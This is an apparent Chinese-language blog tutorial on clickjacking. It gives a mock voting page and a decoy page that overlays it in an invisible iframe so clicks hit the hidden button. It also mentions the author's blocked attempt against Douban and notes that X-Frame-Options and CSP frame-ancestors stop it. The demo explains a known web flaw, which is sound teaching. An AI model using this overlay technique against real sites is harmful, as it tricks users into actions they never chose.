點擊劫持 小例

點擊劫持(UI-覆蓋攻擊/click jacking)

一個關於點擊劫持的小示例,首相看下理論知識 javascript

項目思路

首先,製做一個功能頁面,做爲被iframe嵌套的功能頁面;這個頁面的功能就是模仿投票功能,點擊按鈕時,便可完成投票功能,控制檯會同步打印出操做信息。css

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
  <style> .vote{ width: 183px; margin: 0 auto; margin-top: 220px } </style>
</head>
<body>
  <div class="vote">
    <input type="text" value="5號選手">
    <button>投票</button>
  </div>

  <script> var span = document.getElementsByTagName('button')[0] span.addEventListener('click', function(){ console.log('哈哈,謝謝你偷偷幫我投票~') }) </script>
</body>
</html>
複製代碼

製做一個只有圖片的頁面,用於迷惑用戶進行交互;html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>click jacking demo</title>
  <style> body { padding: 0; margin: 0 } .png { height: 100%; width: 100%; } .iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 3; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } .btn { display: inline-block; padding: 2px 3px; background: burlywood; color: #fff; position: absolute; top: 221px; left: 766px; z-index: 2; cursor: pointer; border-radius: 30% } </style>
</head>
<body>
  <img class='png' src="./image/clickme.jpeg" alt="">
  <iframe class="iframe" src="./iframe.html" scolling='no' allowTransparency="true"></iframe>
  <span class="btn">click</span>
</body>
</html>
複製代碼

瀏覽器打開,會發現根據提示點擊按鈕,會在控制檯中打印了相關的信息,就是說,即便我沒有在功能頁面進行投票操做,但是能投票。java

在迷惑頁面中把 iframeopacity 屬性值修改爲 0.3,就能看到這個迷惑的緣由了。git

其餘

原本想作個壞事的,想要試試用於豆瓣上,直接定位到關注按鈕那,不過 iframe 豆瓣的頁面時,控制檯報錯了,這個想要說明的是使用設置X-frame-options屬性是真有效的。github

也試過直接內嵌 github 的地址,也會報錯,這個錯是報跨域的錯,不過具體的還不知道是怎麼設置防護的。跨域

an ancestor violates the following Content Security Policy directive: 「frame-ancestors ...
複製代碼

至此,已經把 點擊劫持 的形式演示完畢瀏覽器

github源碼bash

相關文章
相關標籤/搜索